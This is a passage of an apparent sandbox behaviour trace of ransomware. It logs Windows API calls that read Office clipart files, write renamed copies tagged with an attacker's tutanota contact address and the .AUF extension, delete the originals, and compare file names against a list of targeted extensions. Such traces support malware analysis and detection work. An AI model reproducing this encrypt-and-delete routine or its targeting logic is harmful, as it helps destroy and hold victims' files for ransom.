office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0217.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.940] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.940] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.940] GetLastError () returned 0x0 [0217.941] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x4c14, lpOverlapped=0x0) returned 1 [0217.942] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0217.943] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.943] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.943] SetEndOfFile (hFile=0x204) returned 1 [0217.943] CloseHandle (hObject=0x204) returned 1 [0217.943] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.943] SetEndOfFile (hFile=0x218) returned 1 [0217.944] CloseHandle (hObject=0x218) returned 1 [0217.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString=".doc") returned 4 [0217.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString=".docx") returned 5 [0217.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.945] lstrlenW (lpString=".pdf") returned 4 [0217.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString=".xls") returned 4 [0217.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.945] lstrlenW (lpString=".xlsx") returned 5 [0217.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.945] lstrlenW (lpString=".ppt") returned 4 [0217.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString=".zip") returned 4 [0217.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.945] lstrlenW (lpString=".rar") returned 4 [0217.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString=".bz2") returned 4 [0217.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString=".7z") returned 3 [0217.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString=".dbf") returned 4 [0217.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString=".1cd") returned 4 [0217.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0217.945] lstrlenW (lpString=".jpg") returned 4 [0217.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.946] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3768) returned 1 [0217.946] CloseHandle (hObject=0x218) returned 1 [0217.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0217.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.946] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.946] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.946] GetLastError () returned 0x0 [0217.946] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0217.950] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0217.951] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.951] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.951] SetEndOfFile (hFile=0x204) returned 1 [0217.951] CloseHandle (hObject=0x204) returned 1 [0217.952] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.952] SetEndOfFile (hFile=0x218) returned 1 [0217.952] CloseHandle (hObject=0x218) returned 1 [0217.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString=".doc") returned 4 [0217.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString=".docx") returned 5 [0217.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.953] lstrlenW (lpString=".pdf") returned 4 [0217.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString=".xls") returned 4 [0217.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.953] lstrlenW (lpString=".xlsx") returned 5 [0217.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.953] lstrlenW (lpString=".ppt") returned 4 [0217.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString=".zip") returned 4 [0217.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.953] lstrlenW (lpString=".rar") returned 4 [0217.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString=".bz2") returned 4 [0217.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString=".7z") returned 3 [0217.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString=".dbf") returned 4 [0217.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString=".1cd") returned 4 [0217.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0217.953] lstrlenW (lpString=".jpg") returned 4 [0217.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.953] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3350) returned 1 [0217.953] CloseHandle (hObject=0x218) returned 1 [0217.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0217.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.954] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.954] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.954] GetLastError () returned 0x0 [0217.954] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xd16, lpOverlapped=0x0) returned 1 [0218.162] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0218.163] ReadFile (in: hFile=0x218, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.163] WriteFile (in: hFile=0x204, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0218.163] SetEndOfFile (hFile=0x204) returned 1 [0218.164] CloseHandle (hObject=0x204) returned 1 [0218.164] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.164] SetEndOfFile (hFile=0x218) returned 1 [0218.164] CloseHandle (hObject=0x218) returned 1 [0218.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0218.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.261] lstrlenW (lpString=".doc") returned 4 [0218.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.261] lstrlenW (lpString=".docx") returned 5 [0218.261] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0218.261] lstrlenW (lpString=".pdf") returned 4 [0218.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.261] lstrlenW (lpString=".xls") returned 4 [0218.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.261] lstrlenW (lpString=".xlsx") returned 5 [0218.261] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0218.261] lstrlenW (lpString=".ppt") returned 4 [0218.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.262] lstrlenW (lpString=".zip") returned 4 [0218.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.266] lstrlenW (lpString=".rar") returned 4 [0218.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.266] lstrlenW (lpString=".bz2") returned 4 [0218.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.266] lstrlenW (lpString=".7z") returned 3 [0218.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.266] lstrlenW (lpString=".dbf") returned 4 [0218.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.266] lstrlenW (lpString=".1cd") returned 4 [0218.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0218.266] lstrlenW (lpString=".jpg") returned 4 [0218.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.570] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.570] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0218.570] GetLastError () returned 0x0 [0218.570] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0218.610] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0218.611] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.611] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.611] SetEndOfFile (hFile=0x21c) returned 1 [0218.611] CloseHandle (hObject=0x21c) returned 1 [0218.611] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.611] SetEndOfFile (hFile=0x1d8) returned 1 [0218.612] CloseHandle (hObject=0x1d8) returned 1 [0218.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0218.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.613] lstrlenW (lpString=".doc") returned 4 [0218.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.613] lstrlenW (lpString=".docx") returned 5 [0218.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.613] lstrlenW (lpString=".pdf") returned 4 [0218.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.613] lstrlenW (lpString=".xls") returned 4 [0218.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.613] lstrlenW (lpString=".xlsx") returned 5 [0218.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.613] lstrlenW (lpString=".ppt") returned 4 [0218.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.613] lstrlenW (lpString=".zip") returned 4 [0218.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.613] lstrlenW (lpString=".rar") returned 4 [0218.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.613] lstrlenW (lpString=".bz2") returned 4 [0218.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.613] lstrlenW (lpString=".7z") returned 3 [0218.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.613] lstrlenW (lpString=".dbf") returned 4 [0218.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.614] lstrlenW (lpString=".1cd") returned 4 [0218.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0218.614] lstrlenW (lpString=".jpg") returned 4 [0218.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.626] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.626] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0218.626] GetLastError () returned 0x0 [0218.626] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x804, lpOverlapped=0x0) returned 1 [0218.655] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x810, lpOverlapped=0x0) returned 1 [0218.655] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.655] WriteFile (in: hFile=0x21c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.656] SetEndOfFile (hFile=0x21c) returned 1 [0218.656] CloseHandle (hObject=0x21c) returned 1 [0218.656] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.656] SetEndOfFile (hFile=0x1d8) returned 1 [0218.656] CloseHandle (hObject=0x1d8) returned 1 [0218.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0218.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.657] lstrlenW (lpString=".doc") returned 4 [0218.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.657] lstrlenW (lpString=".docx") returned 5 [0218.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.658] lstrlenW (lpString=".pdf") returned 4 [0218.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString=".xls") returned 4 [0218.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.658] lstrlenW (lpString=".xlsx") returned 5 [0218.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.658] lstrlenW (lpString=".ppt") returned 4 [0218.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.658] lstrlenW (lpString=".zip") returned 4 [0218.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.658] lstrlenW (lpString=".rar") returned 4 [0218.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString=".bz2") returned 4 [0218.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString=".7z") returned 3 [0218.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.658] lstrlenW (lpString=".dbf") returned 4 [0218.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString="C:\\Program 